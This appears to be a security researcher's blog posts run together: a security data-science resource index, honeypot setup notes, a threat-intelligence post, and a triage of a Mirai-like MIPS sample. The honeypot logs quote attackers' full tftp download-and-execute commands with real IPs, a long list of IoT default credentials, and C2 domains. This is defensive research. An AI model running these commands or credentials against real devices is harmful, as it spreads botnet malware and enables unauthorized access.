This is the Definitive Security Data Science and Machine Learning Guide. It includes books, tutorials, presentations, blog posts, and research papers about solving security problems using data science.

Table of Contents

Machine Learning and Security Papers

Intrusion Detection Papers

Malware Papers

Data Collection Papers

Vulnerability Analysis/Reversing Papers

Anonymity/Privacy/OPSEC/Censorship Papers

Data Mining Papers

Cyber Crime Papers

CND/CNA/CNE/CNO Papers

Deep Learning and Security Papers

Deep Learning and Security Presentations

Security Data Science Blogs

Blogs that frequently cover topics on security data science, machine learning, etc. These are recommended for your RSS feed.

Security Data Science Blogposts / Tutorials

Security Data Science Projects

Open source projects and code applying data science/machine learning to security problems.

Security Data

Collection of Security and Network Data Resources.

Security Data Science Books

Security Data Science Presentations / Talks

Misc

Update (1/1/2017): I will not be updating this page and instead will make all updates to this page: The Definitive Security Data Science and Machine Learning Guide (see Deep Learning and Security Papers section).

This is another quick post. Over the past few months I started researching deep learning to determine if it may be useful for solving security problems. This post on The Unreasonable Effectiveness of Recurrent Neural Networks was what got me interested in this topic, and I highly recommend reading it in its entirety.

Throughout this research, I came across several security related academic and professional research papers on security topics that use Deep Learning as part of their research. What follows is a list of the papers/slides/videos that I found, and these may be useful to others. If you have others that you think should be added to this list, please ping me: @jason_trost.

Deep Learning Papers on Security

Deep Learning Presentations on Security

Security Machine Learning Resources:

General Deep Learning Resources:

–Jason
@jason_trost

In a previous post, I discussed some of my experiences with heralding, a credential grabbing honeypot. In this post, I will briefly analyze a sample I obtained from tftp’ing a sample based on heralding log entries. This sample appears to be targetted at MIPS based systems installs that use very weak default creds (root:5up, Admin:5up). There are a few devices that I could find that uses these creds. There are likely many more.

In my previous post I mentioned that I was not able to download a sample from the tftp commands. Well today, I was finally able to download one of the samples via tftp without it timing out.

# Command from Heralding log: tftp -l 7up -r 7up -g 89.33.64.118
$ tftp 
tftp> connect 89.33.64.118
tftp> get 7up
Received 45065 bytes in 6.4 seconds
$ md5sum 7up 
3f3863996071b4f32ca8f8e1bfe27a45  7up

According to 3 AVs on Virustotal, 3f3863996071b4f32ca8f8e1bfe27a45 is Mirai, BUT the IPs performing the telnet scans only attempted 2 username/password combinations (and the Mirai source code uses many more so this may be a new variant or something completely different).

$ grep -F 'tftp -l 7up -r 7up -g 89.33.64.118' heralding_activity.log | csvcut -c 4 | sort -u  > /tmp/7up-scanners
$ wc -l /tmp/7up-scanners 
     338 /tmp/7up-scanners
$ grep -F -f /tmp/7up-scanners heralding_activity.log | csvcut -c 9,10 | sort | uniq -c | sort -nr
    693 cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 89.33.64.118;chmod a+x 7up;./7up,system
    350 Admin,5up
    347 root,5up
      2 cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 89.33.64.117;chmod a+x 7up;./7up,system
      2 cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 86.105.1.109;chmod a+x 7up;./7up,system

Here are the IPs observed trying to get my honeypot to download and execute this specific sample (via “tftp -l 7up -r 7up -g 89.33.64.118”).

Docker + qemu-mips

h/t to Andrew Morris for his post: Quick TR069 Botnet Writeup + Triage. I used his method to run this file using Docker and qemu-mips to get some network IOCs and it worked very well.

$ docker pull asmimproved/qemu-mips
Using default tag: latest
latest: Pulling from asmimproved/qemu-mips

fdd5d7827f33: Pull complete 
a3ed95caeb02: Pull complete 
04f80dca1be3: Pull complete 
ec0e3823cad3: Pull complete 
479203818acd: Pull complete 
535b517723bd: Pull complete 
244dc522b0d5: Pull complete 
50d7b54d9c62: Pull complete 
8d61a54cd693: Pull complete 
bf48617ae046: Pull complete 
Digest: sha256:e55d85503449307b7621c595d821a84bd14a7ba38a29c9c387b364f90fd33dae
Status: Downloaded newer image for asmimproved/qemu-mips:latest

$ docker run -it asmimproved/qemu-mips

root@46621b449dc5:/project# apt-get install -y tcpdump
root@46621b449dc5:/project# tcpdump -s0 -w packets.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

In another terminal, run this:

$ docker ps
CONTAINER ID        IMAGE                   COMMAND             CREATED                  STATUS              PORTS               NAMES
46621b449dc5        asmimproved/qemu-mips   "bash"              Less than a second ago   Up 5 seconds                            happy_wright
$ docker cp 7up 46621b449dc5:/tmp/
$ docker exec -it 46621b449dc5 /bin/bash

root@46621b449dc5:/project# cd /tmp
root@46621b449dc5:/tmp# qemu-mips chmod 755 7up
root@46621b449dc5:/tmp# qemu-mips ./7up
Socket Bind: Address already in use

Switch back to the tcpdump terminal, and kill it. Also, and this is very important, kill the “qemu-mips 7up” processes. The 7up sample immediately starts scanning port 23 at a high rate so you don’t want it running very long.

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
^C3756 packets captured
4076 packets received by filter
0 packets dropped by kernel

root@46621b449dc5:/project# tcpdump -r packets.pcap -vvvv -nnNN -tttt 'udp port 53'
reading from file packets.pcap, link-type EN10MB (Ethernet)
2016-12-20 15:04:11.691645 IP (tos 0x0, ttl 64, id 16082, offset 0, flags [DF], proto UDP (17), length 60)
    172.17.0.2.36522 > 8.8.8.8.53: [bad udp cksum 0xbc5c -> 0xd5ae!] 13078+ A? inandoutand.in. (32)
2016-12-20 15:04:13.705981 IP (tos 0x0, ttl 37, id 8572, offset 0, flags [none], proto UDP (17), length 76)
    8.8.8.8.53 > 172.17.0.2.36522: [udp sum ok] 13078 q: A? inandoutand.in. 1/0/0 inandoutand.in. [9m59s] A 94.156.128.70 (48)
2016-12-20 15:04:16.701336 IP (tos 0x0, ttl 64, id 16149, offset 0, flags [DF], proto UDP (17), length 63)
    172.17.0.2.52278 > 8.8.8.8.53: [bad udp cksum 0xbc5f -> 0xb781!] 13078+ A? hrjlyymassqx.tech. (35)
2016-12-20 15:04:16.841608 IP (tos 0x0, ttl 37, id 2120, offset 0, flags [none], proto UDP (17), length 79)
    8.8.8.8.53 > 172.17.0.2.52278: [udp sum ok] 13078 q: A? hrjlyymassqx.tech. 1/0/0 hrjlyymassqx.tech. [59s] A 94.156.128.73 (51)

As you can see from the pcap, we were able to extracted a couple of IOCs:

  • hrjlyymassqx[.]tech (94.156.128[.]73)
  • inandoutand[.]in (94.156.128[.]70)

whois hrjlyymassqx[.]tech

Privacy protected so kind of a dead end.

[whois.nic.tech]
Domain Name: HRJLYYMASSQX.TECH
Domain ID: D40442546-CNIC
WHOIS Server: whois.namecheap.com
Referral URL:
Updated Date: 2016-12-14T17:02:14.0Z
Creation Date: 2016-12-09T17:01:50.0Z
Registry Expiry Date: 2017-12-09T23:59:59.0Z
Sponsoring Registrar: Namecheap
Sponsoring Registrar IANA ID: 1068
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant ID: C101183632-CNIC
Registrant Name: WhoisGuard Protected
Registrant Organization: WhoisGuard, Inc.
Registrant Street: P.O. Box 0823-03411
Registrant City: Panama
Registrant State/Province: Panama
Registrant Postal Code:
Registrant Country: PA
Registrant Phone: +507.8365503
Registrant Phone Ext:
Registrant Fax: +51.17057182
Registrant Fax Ext:
Registrant Email: 4a75182b38b841e486e7e74993fb0bce.protect@whoisguard.com
Admin ID: C101183623-CNIC
Admin Name: WhoisGuard Protected
Admin Organization: WhoisGuard, Inc.
Admin Street: P.O. Box 0823-03411
Admin City: Panama
Admin State/Province: Panama
Admin Postal Code:
Admin Country: PA
Admin Phone: +507.8365503
Admin Phone Ext:
Admin Fax: +51.17057182
Admin Fax Ext:
Admin Email: 4a75182b38b841e486e7e74993fb0bce.protect@whoisguard.com
Tech ID: C101183621-CNIC
Tech Name: WhoisGuard Protected
Tech Organization: WhoisGuard, Inc.
Tech Street: P.O. Box 0823-03411
Tech City: Panama
Tech State/Province: Panama
Tech Postal Code:
Tech Country: PA
Tech Phone: +507.8365503
Tech Phone Ext:
Tech Fax: +51.17057182
Tech Fax Ext:
Tech Email: 4a75182b38b841e486e7e74993fb0bce.protect@whoisguard.com
Name Server: DNS1.REGISTRAR-SERVERS.COM
Name Server: DNS2.REGISTRAR-SERVERS.COM
DNSSEC: unsigned
Billing ID: C101183627-CNIC
Billing Name: WhoisGuard Protected
Billing Organization: WhoisGuard, Inc.
Billing Street: P.O. Box 0823-03411
Billing City: Panama
Billing State/Province: Panama
Billing Postal Code:
Billing Country: PA
Billing Phone: +507.8365503
Billing Phone Ext:
Billing Fax: +51.17057182
Billing Fax Ext:
Billing Email: 4a75182b38b841e486e7e74993fb0bce.protect@whoisguard.com
>>> Last update of WHOIS database: 2016-12-20T15:24:39.0Z <<<

Whois inandoutand[.]in

Not privacy protected and linked with some Mirai activity (see below). Also of note is the Registrant City which is “fastflux”, kind of funny.

Domain ID:D414400000002809790-AFIN
Domain Name:INANDOUTAND.IN
Created On:15-Dec-2016 14:41:33 UTC
Last Updated On:15-Dec-2016 14:41:36 UTC
Expiration Date:15-Dec-2017 14:41:33 UTC
Sponsoring Registrar:Endurance Domains Technology Pvt. Ltd. (R173-AFIN)
Status:CLIENT TRANSFER PROHIBITED
Reason:
Status:TRANSFER PROHIBITED
Reason:
Registrant ID:EDT_62956067
Registrant Name:Kravitz Dlinch
Registrant Organization:Dlinch Kravitz
Registrant Street1:119 upyour lane
Registrant Street2:
Registrant Street3:
Registrant City:fastflux
Registrant State/Province:depends
Registrant Postal Code:00000
Registrant Country:CG
Registrant Phone:+242.887293717
Registrant Phone Ext.:
Registrant FAX:+242.0000000000
Registrant FAX Ext.:
Registrant Email:dlinchkravitz@gmail.com
Admin ID:EDT_62956068
Admin Name:Kravitz Dlinch
Admin Organization:Dlinch Kravitz
Admin Street1:119 upyour lane
Admin Street2:
Admin Street3:
Admin City:fastflux
Admin State/Province:depends
Admin Postal Code:00000
Admin Country:CG
Admin Phone:+242.887293717
Admin Phone Ext.:
Admin FAX:+242.0000000000
Admin FAX Ext.:
Admin Email:dlinchkravitz@gmail.com
Tech ID:EDT_62956069
Tech Name:Kravitz Dlinch
Tech Organization:Dlinch Kravitz
Tech Street1:119 upyour lane
Tech Street2:
Tech Street3:
Tech City:fastflux
Tech State/Province:depends
Tech Postal Code:00000
Tech Country:CG
Tech Phone:+242.887293717
Tech Phone Ext.:
Tech FAX:+242.0000000000
Tech FAX Ext.:
Tech Email:dlinchkravitz@gmail.com
Name Server:ns3.cnmsn.com
Name Server:ns4.cnmsn.com
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
DNSSEC:Unsigned

Searching for the registrant email, dlinchkravitz[@]gmail[.]com, turns up these blog posts:

These domains were not on the pre-computed list of DGAs found on Mirai DGA Domains from GovCERT.ch and the .in domain uses a TLD not supported by this Mirai DGA algo. After some more searching I found that Mirai’s DGA has been updated (New Mirai DGA Seed 0x91 Brute Forced) and the “hrjlyymassqx” domain was in their list.

There is a lot more that could be done with analyzing this sample and these IOCs, but I am out of time. So, that’s it for now.

Appendix

IOCs:

–Jason
@jason_trost

In this post, I am just outlining some details from trying out a relatively new honeypot named Heralding, developed by the well known Honeynet Project developer, Johnny Vestergaard.

Heralding is a designed to simply catch login attempts over several different protocols and subsequent activities. It supports the following protocols:

  • ftp
  • http/https
  • telnet
  • pop3/pop3s
  • ssh
  • smtp

Data

Heralding logs its data as CSV when logged to files or JSON if logged via ZMQ.

Each record contains the following fields:

  • timestamp
  • auth_id
  • session_id
  • source_ip
  • source_port
  • destination_ip,
  • destination_port
  • protocol
  • username
  • password

Example Data

timestamp,auth_id,session_id,source_ip,source_port,destination_ip,destination_port,protocol,username,password
2016-12-14 21:50:14.344387,06dcdb6b-feaa-43b5-8b44-b6cb8d28dbd2,824fa9fc-3f3c-4256-9b9a-fef64562105d,218.191.87.87,55928,,23,telnet,root,123456
2016-12-14 21:50:15.755707,49c25230-4d3c-4bd0-9f8a-b8324062d604,824fa9fc-3f3c-4256-9b9a-fef64562105d,218.191.87.87,55928,,23,telnet,enable,system
2016-12-14 21:50:17.169160,d2049958-4afd-4f6b-8a12-72bcec568176,824fa9fc-3f3c-4256-9b9a-fef64562105d,218.191.87.87,55928,,23,telnet,shell,sh
2016-12-14 21:50:19.054035,95f069bc-ca6c-4ae3-8c65-34b7f54929aa,c9298a24-2303-47f7-b404-2f5b35c111de,218.191.87.87,56511,,23,telnet,root,klv123
2016-12-14 21:50:20.482506,e834d5ab-2ce1-4650-a561-80e7e1c3cbf8,c9298a24-2303-47f7-b404-2f5b35c111de,218.191.87.87,56511,,23,telnet,enable,system
2016-12-14 21:50:21.910539,6041be47-cc59-4e75-a238-d3bf49252103,c9298a24-2303-47f7-b404-2f5b35c111de,218.191.87.87,56511,,23,telnet,shell,sh
2016-12-14 21:50:23.884711,047cfe0d-fa0b-4bca-b564-29bdca7d343d,05a16a5e-5894-48f4-b8c2-2784db344bb4,218.191.87.87,57080,,23,telnet,root,tl789
2016-12-14 21:50:25.400807,20176c33-2b0e-442d-8cb5-9ceeacb3718a,05a16a5e-5894-48f4-b8c2-2784db344bb4,218.191.87.87,57080,,23,telnet,enable,system
2016-12-14 21:50:26.912134,384ef065-7455-482b-85d5-a008acd7c4e2,05a16a5e-5894-48f4-b8c2-2784db344bb4,218.191.87.87,57080,,23,telnet,shell,sh
2016-12-14 21:50:43.214470,1d4a03e1-9e58-4077-9073-c98f42ff8eea,3bb05f01-5013-4ade-9380-4bd65e9b3a43,218.191.87.87,59514,,23,telnet,root,5up
2016-12-14 22:03:37.481102,d2743ce8-7746-4257-8977-2efc4a00456d,be92c26b-1a68-4681-b0a9-2bf7ecbb95ab,82.50.48.173,44297,,23,telnet,root,5up
2016-12-14 22:12:33.569926,aa24d9d8-673e-4078-8eaa-ccd47291731d,f4cf86b9-8e0f-4e5f-9e53-9d6de94bbf4a,46.118.141.45,39142,,23,telnet,root,5up
2016-12-14 22:12:34.516482,c49c5124-2c70-4641-94f5-401a4d429a8f,f4cf86b9-8e0f-4e5f-9e53-9d6de94bbf4a,46.118.141.45,39142,,23,telnet,cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 185.35.139.97;chmod a+x 7up;./7up,system
2016-12-14 22:13:03.875886,3ba63f0d-f5e9-496e-81cf-27e7276be55d,e2cd94e9-6fa3-4dc4-8eff-6e305249f999,46.118.141.45,39222,,23,telnet,Admin,5up
2016-12-14 22:13:04.819522,7882d490-a4ba-4d4f-8163-ded2a8e1418f,e2cd94e9-6fa3-4dc4-8eff-6e305249f999,46.118.141.45,39222,,23,telnet,cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 185.35.139.97;chmod a+x 7up;./7up,system
2016-12-14 22:49:01.820774,414baba3-e0e5-4faf-9b66-ed3dcc18102f,75ea44c5-2ee1-4444-989a-1d95c1d121d5,89.121.167.211,33987,,23,telnet,root,5up
2016-12-14 22:52:55.217834,c7daea94-9b68-48f6-bc16-8e172e3dba23,87612fe2-a42c-426a-985c-46a90d432d72,77.105.72.253,49141,,23,telnet,root,5up
2016-12-14 22:54:24.332999,f1766355-b3c0-434c-8298-99d5b7c9fd88,231fbe16-2975-4752-bf45-33fa5304d6f9,37.115.145.181,51296,,23,telnet,Admin,5up
2016-12-14 22:54:25.300647,971c2806-6d2a-4d07-b1b3-31548dcfb813,231fbe16-2975-4752-bf45-33fa5304d6f9,37.115.145.181,51296,,23,telnet,cd /tmp;rm -f *;tftp -l 7up -r 7up -g 93.190.142.201;chmod a+x 7up;./7up,system

Loggers

  • Syslog alert
  • Local CSV file
  • JSON over ZMQ

Installation

This is my recommended installation steps. I usually use python virtualenv in order to keep the install isolated from the rest of my environment.

virtualenv /opt/heralding
source /opt/heralding/bin/activate
pip install heralding

Configuration

cd /opt/heralding/
cp lib/python2.7/site-packages/heralding/heralding.yml heralding.yml
# enable/disable reporters or protocols
vi heralding.yml

Running

Running this command will allow you to run the honeypot and test the config you just created (config is loaded from current working directory or it uses the default config).

cd /opt/heralding/
./bin/heralding

You should see output like this:

2016-12-15 13:52:44,010 (root) Initializing Heralding version 0.1.15
2016-12-15 13:52:44,030 (heralding.reporting.file_logger) File logger started, using file: heralding_activity.log
2016-12-15 13:52:44,031 (heralding.honeypot) Started Pop3 capability listening on port 110
2016-12-15 13:52:44,032 (heralding.honeypot) Started Pop3S capability listening on port 993
2016-12-15 13:52:44,032 (heralding.honeypot) Started ftp capability listening on port 21
2016-12-15 13:52:44,032 (heralding.honeypot) Started Http capability listening on port 80
2016-12-15 13:52:44,033 (heralding.honeypot) Started https capability listening on port 443
2016-12-15 13:52:44,033 (heralding.honeypot) Started Telnet capability listening on port 23
2016-12-15 13:52:44,036 (root) Privileges dropped, running as nobody/nogroup.

Deployment

When deploying honeypots, I prefer to use supervisord to manage the auto starting/stopping/restarting the sensor upon reboots and failures. So here is how I have deployed heralding:

# as root user ...
cat > /etc/supervisor/conf.d/heralding.conf<<EOF
[program:heralding]
command=/opt/heralding/bin/heralding
directory=/opt/heralding
stdout_logfile=/var/log/heralding.out
stderr_logfile=/var/log/heralding.err
autostart=true
autorestart=true
redirect_stderr=true
stopsignal=QUIT
EOF

Check the status:

$ sudo supervisorctl update
heralding: added process group

$ sudo supervisorctl status
heralding                        RUNNING    pid 24423, uptime 0:00:03

Experience

I ran just one instance of heralding for ~10 hours and caught 3077 events (mostly login attempts), all over telnet. My raw log file can be downloaded here. Here are some stats about what this sensor saw.

Top IPs:

$ csvcut -c source_ip heralding_activity.log | sort | uniq -c | sort -nr | awk '{print $2, $1}' | head -n 10
179.235.41.195 96
177.195.7.36 93
75.138.128.134 90
189.225.176.121 60
113.182.86.139 51
59.120.153.117 42
190.45.119.110 32
96.92.191.230 30
95.69.219.220 30
95.6.72.245 30

Top Usernames:

$ csvcut -c username heralding_activity.log | sort | uniq -c | sort -nr | awk '{print $2, $1}' | head -n 10
enable 941
shell 919
root 794
admin 224
support 33
user 24
cd 22
guest 17
Admin 16
cd 8

Top Passwords:

$ csvcut -c password heralding_activity.log | sort | uniq -c | sort -nr | awk '{print $2, $1}' | head -n 10
system 988
sh 919
admin 116
xc3511 66
"" 60
vizxv 57
5up 54
xmhdipc 46
888888 46
123456 45

IoT Attacks

After reviewing the logs closer, it appears that all of the “enable” and “shell” usernames and “system” and “sh” passwords are not username/passwords, but instead, they are commands that are attempted after the attacker attempts to login with one of the following sets of creds. These are well known IoT default creds and most of them are embedded in the Mirai scanner source code.

666666,666666
888888,888888
admin,
admin,1111
admin,1111111
Admin,1234
admin,1234
admin,12345
admin,123456
admin,4321
admin,54321
admin,7ujMko0admin
admin,admin
admin,admin1234
admin,meinsm
admin,pass
admin,password
admin,smcadmin
admin1,password
administrator,1234
Administrator,meinsm
bin,
guest,12345
guest,guest
mother,fucker
root,
root,00000000
root,1001chin
root,1111
root,1234
root,12345
root,123456
root,4321
root,54321
root,5up
root,666666
root,7ujMko0admin
root,7ujMko0vizxv
root,888888
root,admin
root,admin@mymifi
root,anko
root,cat1029
root,default
root,dreambox
root,GM8182
root,hi3518
root,hunt5759
root,ikwb
root,juantech
root,jvbzd
root,klv123
root,klv1234
root,pass
root,password
root,realtek
root,root
root,system
root,tl789
root,user
root,vizxv
root,win1dows
root,xc3511
root,xmhdipc
root,zlxx.
root,Zte521
service,service
supervisor,supervisor
support,support
tech,tech
ubnt,ubnt
user,user

Another IoT related pattern I observed was what appear to be busybox default creds being used to login, download a payload via tftp, and execute it. Unfortunately, I have not be able to download any of the payload files yet, they all timeout.

Creds attempted:

Admin,5up
root,5up

Commands tried:

cd /tmp;rm -f *;tftp -l 7up -r 7up -g 93.190.142.201;chmod a+x 7up;./7up,system
cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 185.35.139.92;chmod a+x 7up;./7up,system
cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 185.35.139.97;chmod a+x 7up;./7up,system
cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 86.105.1.109;chmod a+x 7up;./7up,system
cd /var/tmp;cd /tmp;rm -f *;tftp -l 7up -r 7up -g 89.33.64.117;chmod a+x 7up;./7up,system

Final Thoughts

Malicious login attempts are very common, esp with IoT devices shipping with hardcoded credentials. Heralding makes collecting these login attempts easy since it is a simple, but effective honeypot for capturing credentials attempted over a variety of different protocols.

Heralding is implemented in python and because of its modular logger design, it would be relatively straightforward to add MHN support for this honeypot, so if time permits I might do this.

If you wanted to explore the data collected by my instance of heralding, you can download my log file here: here.

Lastly, consider donating to the Honeynet Project:

Reference:

–Jason
@jason_trost

Borderless Threat Intelligence - using External Threat Intelligence for Brand and Supply Chain Monitoring

This past year was the year of the data breach. Large and small organizations across every industry vertical were impacted by compromises that ranged from theft of PII, intellectual property, and financial information to publication of entire backend databases and email spools.

The data from these breaches often wound up being exposed publicly, exchanged or sold on underground markets, or simply leveraged to breach other organizations.

Many of these breaches have cascading effects due to the transitive nature of security that exists across companies, as the rely on critical business partners, subsidiaries and other organizations whose services are trusted.

Additionally, password reuse across customer accounts involved in a third-party data dump could enable unauthorized access to another business’ assets.

Threat intelligence can be used to gain visibility and combat some of these issues. External threat intelligence can be leveraged to use information about events not occurring on your own network in order to detect breaches or threats to your brand or supply chains. Below are some specific items that can help:

Suspicious Domain Name Monitoring

Adversaries are increasingly acquiring domain names that resemble either a company they want to target or a brand they want to leverage to social engineer victims. Registering typo squatted domains and homoglyph domains is not new and there are some great open source tools, such as urlcrazy and dnstwist, to do this.

However, many organizations are not monitoring for the presence of these domains in their environment or the registrations of these domains as they occur.

Adversaries often use the following techniques when acquiring these domains – here are some examples techniques applied to the domain “threatstream.com”:

  • Keyboard Typo – threststream.com
  • Character omission – theatstream.com, threatsteam.com
  • Character insertion – threattstream.com, threatsstream.com
  • Homoglyph – threatstrearn.com, threatstreann.com
  • Character Swap – threatstraem.com
  • Missing dot or replacing dot with dash – wwwthreatstream.com, www-threatstream.com, http-www-threatstream.com, threatstreamcom.us
  • Deceptive token insertion – login-threatstream.com, sslvpn-threatstream.com, support-threatstream.com
  • Different TLD – threatstream.us, threatstream.co, threatstreamc.om

Mass Credential Exposures

"Mass Credential Exposures"

Increasingly, script kids, hacktivists and cyber criminals are dumping huge collections of usernames and passwords publicly on the dark web or for sale on underground marketplaces. Often times, these dumps contain corporate email addresses and passwords that were found when a third-party website was compromised through SQL injection or other weaknesses.

Because password reuse is so rampant and many organizations still don’t use Multi-Factor Authentication (MFA), these exposures can put you at risk. Monitoring for mass credential exposures affecting your company or any supply chain company you depend on is very useful for reducing these risks.

Network Cleanliness Monitoring

Are IPs from the network space you own/control showing up on threat feeds of machines that are scanning, brute forcing, DDoS-ing, sending spam, connecting to DNS sinkholes, or hosting malicious content?

What about the IPs of your executive’s home networks? Or the IPs of your critical supply chain or business partners?

If so, you may have a compromised system that you were unaware of and it may put your company at risk. Monitoring threat intelligence feeds for these items can give you a warning that something is not right so action can be taken.

"Network Cleanliness Monitoring"

Have you checked what sites like Shodan, ZoomEye, and Censys have about your networks or your critical supply chains’ networks? Are there vulnerable or unexpected services running? These sites’ data is public so anyone, including malicious actors, can and do review it – so should you.

Network cleanliness monitoring can take many shapes from monitoring threat intelligence feeds to querying public portscan/web crawl repositories to actually running the network scans yourself but the goals are to identify systems and services that are either vulnerable, unexpected, or compromised.

Signs of Targeting and Social Networking Data-mining

Are you or your supply chain being discussed as a target on social media or the DarkWeb? Have any public threats been made? Is there malicious software purpose-built to target your company or your supply chain?

Monitoring what is being shared and discussed on both social media and the DarkWeb forums as it pertains to your company can provide an an early warning before an attack is carried out.

"Signs of targeting and social networking data-mining"

Credential Exposure Posting from the Hell Darkweb forum

Operationalizing

The first step for operationalizing these concepts is building an inventory of yourself and your critical supply partners. The following information should be collected and kept up-to-date:

  • Email domains names
  • Internal and external domain names, especially for sensitive resources
  • Company’s IP address space
  • Brand names
  • Personal email addresses of key executives
  • IP address space of key executives’ home networks
  • Names of key executives

The next step is identifying data sources that you have or that you can acquire that provide the visibility you want. These data source should include:

  • Internal DNS logs, web proxy logs
  • Threat Intelligence feeds
    • Honeypot data
    • Malware C2 Sinkhole data
    • Spammer feeds
    • Portscan/web crawl data
  • Paste sites (e.g. pastebin and others)
  • DeepWeb/DarkWeb monitoring
  • Social media sites
  • Google/Bing searches

The final step is setting up collection and processing of the different data sources to look for instances of items from your inventory showing up. Security Information and Event Management (SIEM) or log management platforms are often useful places to perform these actions.

If you don’t have one of these, simple scripts that grep the data may be sufficient (it really depends on the size of your network and the volume of data). There are commercial services that can provide this, as well.

If you would like to learn more about these concepts and how to operationalize them, please check out the presentation I gave at the 2016 R-CISC Retail Summit below.

R-CISC Summit 2016 Borderless Threat Intelligence from Jason Trost

Note: this was originally published here.